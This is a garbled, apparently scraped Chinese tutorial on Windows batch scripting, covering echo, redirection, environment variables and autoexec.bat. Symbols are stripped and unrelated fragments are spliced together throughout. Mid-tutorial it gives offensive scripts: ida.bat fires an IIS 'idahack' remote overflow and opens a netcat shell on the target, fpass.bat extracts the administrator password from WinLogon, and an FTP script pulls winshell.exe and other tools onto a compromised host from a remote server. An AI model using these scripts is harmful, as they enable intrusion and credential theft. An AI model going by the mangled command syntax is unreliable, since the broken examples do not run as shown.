1、.bat 批处理教程(1 )这是一篇技术教程,我会用很简单的文字表达清楚自己的意思,你要你识字就能看懂,就能学到知识。写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到了眼前。先概述一下批处理是个什么东西。批处理的定义,至今我也没能给出一个合适的-众多高手们也都没给出-反正我不知道- 看了我也不一定信服- 我是个菜鸟,当然就更不用说了;但我想总结出一个“比较合适的 ”,而且我也相信自己可以把它解释的很清楚,
2、让更多的菜鸟都知道这是个什么东西,你用这个东西可以干什么事情。或许你会因为这篇文章而“无条件爱上批处理”,那么我的目的就达到了- 我就是要让你爱上它,我就这么拽,你能怎么着?真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!按照我的理解,批处理的本质,是一堆 DOS 命令按一定顺序排列而形成的集合。ok,never claver and get to business(闲话少说言归正传) 。批处理,也称为批处理脚本,英文译为 BATCH,批处理文件后缀 BAT 就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就 ok 了:每一行可视为一个命令,每个命令里可以含多条子命令,从
3、第一行开始执行,直到最后一行结束,它运行的平台是 DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!) 。再说句“闲话” :要学好批处理, DOS 基础一定要牢!当然脑子灵活也是很重要的一方面。例一、先给出一个最 easy 的批处理脚本让大家和它混个脸熟,将下面的几行命
4、令保存为name.bat 然后执行(以后文中只给出代码,保存和执行方式类似):ping a.txtping a.txtping a.txtping a.txtping a.txtping a.txtping a.txtping a.txtexit是不是都能看的懂?是不是很 easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为 a.txt 的文件,它里面记录的信息可以帮助你迅速找到速度最快的 QQ 服务器,从而远离“从服务器中转” 那一痛苦的过程。这里的意思,是把前面命令得到的东西放到后面所给的地方,的作用,和 的相同,区别是把结果追加到前一行得出.的
5、结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt 文件越来越大(想到如何搞破坏了?) 。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器 IP,是不是很爽?后面还将详细介绍。例二、再给出一个已经过时的例子(a.bat):echo offif exist C:Progra1TencentAD*.gif del C:Progra1TencentAD*.gifa.bat为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的 QQ 了(KAO,我的 QQ 还显示好友三围呢!) ,
6、所以它几乎用不上了。但曾经它的作用是不可小窥的:删除 QQ 的广告,让对话框干干净净。这里用的地址是 QQ 的默认安装地址,默认批处理文件名为 a.bat,你当然可以根据情况自行修改。在这个脚本中使用了 if 命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的 DOS 窗口,不按 CTRL+C 强行终止命令,它就一直监视是否有广告图片(QQ 也再不断查看自己的广告是否被删除) 。当然这个脚本占用你一点点内存,呵呵。例三,使用批处理脚本查是否中冰河。脚本内容如下:echo offnetstat -a -n a.txttype a.txt | find “7626“ Pa
7、th=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0605 ProgramFiles=C:Program Files PROMPT=$P$G SystemDrive=C: Syst
8、emRoot=C:WINNT TEMP=C:WINNTTEMP TMP=C:WINNTTEMP USERPROFILE=C:Documents and SettingsDefault User windir=C:WINNT _ path: 表示可执行程序的搜索路径. 我的建议是你把你的程序 copy 到 %windir%system32. 这个目录里面. 一般就可以自动搜索到. 语法: copy mychenxu.exe %windir%system32. 使用点(.) 便于一目了然 对环境变量的引用使用(英文模式 ,半角)双引号 %windir% 变量 %windir% 二次变量引用. 我们
9、常用的还有 %temp% 临时文件目录 %windir% 系统目录 %errorlevel% 退出代码 输出文件到临时文件目录里面.这样便于当前目录整洁. .对有空格的参数. 你应该学会使用双引号 (“) 来表示比如对 porgram file 文件夹操作 C:dir p* C: 的目录 2000-09-02 11:47 2,164 PDOS.DEF 1999-01-03 00:47 Program Files 1 个文件 2,164 字节 1 个目录 1,505,997,824 可用字节 C:cd pro* C:Program Files C: C:cd “Program Files“ C:
10、Program Files # 3. 内置的特殊符号( 实际使用中间注意避开) # 微软里面内置了下列字符不能够在创建的文件名中间使用 con nul aux / | | 注释,表示后面为注释 : 标号作用 | 管道操作 tokens=2,3* delims=, “ %i in (myfile.txt) do echo %i %j %k 按照字母顺序 ijklmnopq 依次取参数. eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。 delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 # 4. 简单批处理文件概念 .# e
11、cho This is test a.txt type a.txt echo This is test 11111 a.txt type a.txt echo This is test 22222 a.txt type a.txt 第二个 echo 是追加 第三个 echo 将清空 a.txt 重新创建 a.txt netstat -n | find “3389“ 这个将要列出所有连接 3389 的用户的 ip. _test.bat_ echo please care echo plese care 1111 echo plese care 2222 echo plese care 3333
12、echo please care echo plese care 1111 echo plese care 2222 echo plese care 3333 rem 不显示注释语句,本行显示 rem 不显示注释语句 ,本行不显示 if exist %windir%system32find.exe (echo Find find.exe !) else (echo ERROR: Not find find.exe) if exist %windir%system32fina.exe (echo Find fina.exe !) else (echo ERROR: Not find fina.e
13、xe) _ 下面我们以具体的一个 idahack 程序就是 ida 远程溢出为例子.应该是很简单的. _ida.bat_ rem ver 1.0 if NOT exist %windir%system32idahack.exe echo “ERROR: dont find idahack.exe“ if NOT exist %windir%system32nc.exe echo “ERROR: dont find nc.exe“ if “%1“ =“ goto USAGE if NOT “%2“ =“ goto SP2 .:start echo Now start . ping %1 echo
14、 chinese win2k:1 sp1:2 sp2:3 idahack.exe %1 80 1 99 %temp%_tmp echo “prog exit code %errorlevel% idahack.exe“ type %temp%_tmp find “good luck :)“ %temp%_tmp echo “prog exit code %errorlevel% find goog luck“ if NOT errorlevel 1 nc.exe %1 99 goto END :SP2 idahack.exe %1 80 %2 99 %temp%_tmp type %temp%
15、_tmp find “good luck :)“ %temp%_tmp if NOT errorlevel 1 nc.exe %1 99 goto END :USAGE echo Example: ida.bat IP echo Example: ida.bat IP (2,3) :END _ida.bat_END_ 下面我们再来第二个文件.就是得到 administrator 的口令 . 大多数人说得不到.其实是自己的没有输入正确的信息 .rem ver 1.0 if NOT exist %windir%system32findpass.exe echo “ERROR: dont find
16、findpass.exe“ if NOT exist %windir%system32pulist.exe echo “ERROR: dont find pulist.exe“ echo start echo _ if “%1“=“ goto USAGE findpass.exe %1 %2 %3 %temp%_findpass.txt .echo “prog exit code %errorlevel% findpass.exe“ type %temp%_findpass.txt echo _Here_pass ipconfig /all %temp%_findpass.txt goto E
17、ND :USAGE pulist.exe %temp%_pass.txt findstr.exe /i “WINLOGON explorer internat“ %temp%_pass.txt echo “Example: fpass.bat %1 %2 %3 %4 !“ echo “Usage: findpass.exe DomainName UserName PID-of-WinLogon“ :END echo “ fpass.bat %COMPUTERNAME% %USERNAME% administrator “ echo “ fpass.bat end %errorlevel% !“
18、 _fpass.bat_END_ 还有一个就是已经通过 telnet 登陆了一个远程主机. 怎样上传文件(win) 依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V 过去. 然后就等待吧! echo open 210.64.x.4 3396w echo readw echo readw echo cd winntw echo binaryw .echo pwd w echo get wget.exe w echo get winshell.exe w echo get any.exe w echo quit w ftp -s:wbat 批处理教程(2)bat 是 dos 下的批处
19、理文件 .cmd 是 nt 内核命令行环境的另一种批处理文件 从更广义的角度来看,unix 的 shell 脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本,都具有与批处理文件十分相似的作用,而且同样是由专用解释器以行为单位解释执行,这种文本形式更通用的称谓是脚本语言。所以从某个程度分析,batch, unix shell, awk, basic, perl 等脚本语言都是一样的,只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序仍然沿用批处理这一称呼,而其内容和扩展名与 dos 的批处理却又完全不同。 = 首先批处理文件是一个文本文件,这个文件的每一行都是一条 DOS 命令
20、(大部分时候就好象我们在 DOS提示符下执行的命令行一样),你可以使用 DOS 下的 Edit 或者 Windows 的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。 = 注 = 批处理文件中完全可以使用非 dos 命令,甚至可以使用不具有可执行特性的普通数据性文件,这缘于windows 系统这个新型解释平台的涉入,使得批处理的应用越来越“ 边缘化“。所以我们讨论的批处理应该限定在 dos 环境或者命令行环境中,否则很多观念和设定都需要做比较大的变动。 = 其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句 (goto)来控制命令运行的流程,在批处理
21、中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与 C 语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的 DOS 命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。 = 注 = 批处理文件(batch file)也可以称之为批处理程序 (batch program),这一点与编译型语言有所不同,就 c 语言来说,扩展名为 c 或者 cpp 的文件可以称之为 c 语言文件或者 c 语言源代码,但只有编译连接后的 exe文件才可以称之为 c 语言程序。因为批处理文件本身既具有文本的可读性,又具有程序的可执行性,这些称
22、谓的界限是比较模糊的。 = .第三,每个编写好的批处理文件都相当于一个 DOS 的外部命令,你可以把它所在的目录放到你的 DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个 bat 或者 batch 目录(例如 C:BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在 path 中设置上c:batch,你就可以在任意位置运行所有你编写的批处理程序。 = 注 = 纯以 dos 系统而言,可执行程序大约可以细分为五类,依照执行优先级由高到低排列分别是:DOSKEY宏命令(预先驻留内存),COMMAND.COM 中的内部命令(根据内存的环境随时进驻
23、内存),以 com为扩展名的可执行程序(由 直接载入内存),以 exe 位扩展名的可执行程序(由 重定位后载入内存),以 bat 位扩展名的批处理程序(由 解释分析,根据其内容按优先级顺序调用第 2,3 ,4,5 种可执行程序,分析一行,执行一行,文件本身不载入内存) = 第四,在 DOS 和 Win9x/Me 系统下,C:盘根目录下的 AUTOEXEC.BAT 批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于 Windows 98 下的autoe
24、xec.bat 的示例: ECHO OFF PATH C:WINDOWS;C:WINDOWSCOMMAND;C:UCDOS;C:DOSTools; C:SYSTOOLS;C:WINTOOLS;C:BATCH LH SMARTDRV.EXE /X LH DOSKEY.COM /insert LH CTMOUSE.EXE SET TEMP=D:TEMP SET TMP=D:TEMP = 注 = AUTOEXEC.BAT 为 DOS 系统的自动运行批处理文件,由 COMMAND.COM 启动时解释执行; 而在 Win9x 环境中,不仅增加支持了 DOSSTART.BAT, WINSTART.BAT
25、等许多其它自动运行的批处理文件,对 AUTOEXEC.BAT 也增加了 .DOS .W40 .BAK .OLD .PWS 等许多变体以适应复杂的环境和多变的需求。 = willsort 编注 = 以下关于命令的分类,有很多值得推敲的地方。常用命令中的本不是命令,而 dir、copy等也很常用的命令却没有列入, 而特殊命令中所有命令对我来说都是常用命令。建议将批处理所引用的命令分为内部命令、外部命令、第三方程序三类。而内部命令和外部命令中别有一类是专用于或常用于批处理中的命令可称之为“批处理命令“ 。 以下摘录 MS-DOS 6.22 帮助文档中关于 “批处理命令“的文字,当然,其中有些概念和定
26、义已经有些落后了。 批处理命令 批处理文件或批处理程序是一个包含若干 MS-DOS 命令的正文文件,扩展名为.BAT。当在命令提示符下敲入批处理程序的名称时,MS-DOS 成组执行此批处理程序中的命令。 .任何在命令提示符下可使用的命令都可用在批处理程序中。此外,下面 MS-DOS 命令是专门在批处理程序中使用的。 = 常用命令 echo、 、call、pause、rem(小技巧:用:代替 rem)是批处理文件最常用的几个命令,我们就从他们开始学起。 = 注 = 首先, 不是一个命令 , 而是 DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是 DOS 命令行或批处理中可能会见到
27、的一些特殊标记符: CR(0D) 命令行结束符 Escape(1B) ANSI 转义字符引导符 Space(20) 常用的参数界定符 Tab(09) ; = 不常用的参数界定符 + COPY 命令文件连接符 * ? 文件通配符 “ 字符串界定符 | 命令管道符 文件重定向符 命令行回显屏蔽符 / 参数开关引导符 : 批处理标签引导符 % 批处理变量引导符 其次, : 确实可以起到 rem 的注释作用, 而且更简洁有效; 但有两点需要注意: 第一, 除了 : 之外, 任何以 :开头的字符行, 在批处理中都被视作标号 , 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto
28、 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号. 第二, 与 rem 不同的是, :后的字符行在执行时不会回显, 无论是否用 echo on 打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 : 更为适用; 另外, rem 可以用于 config.sys 文件中. = echo 表示显示此命令后的字符 echo off 表示在此语句后所有运行的命令都不显示命令行本身 与 echo off 相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行) 。 call 调用另一个批处理文件(如果不用 call 而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令) 。 pause 运行此句会暂停批处理的执行并在屏幕上显示 Press any key to continue.的提示,等待用户按任意键后继续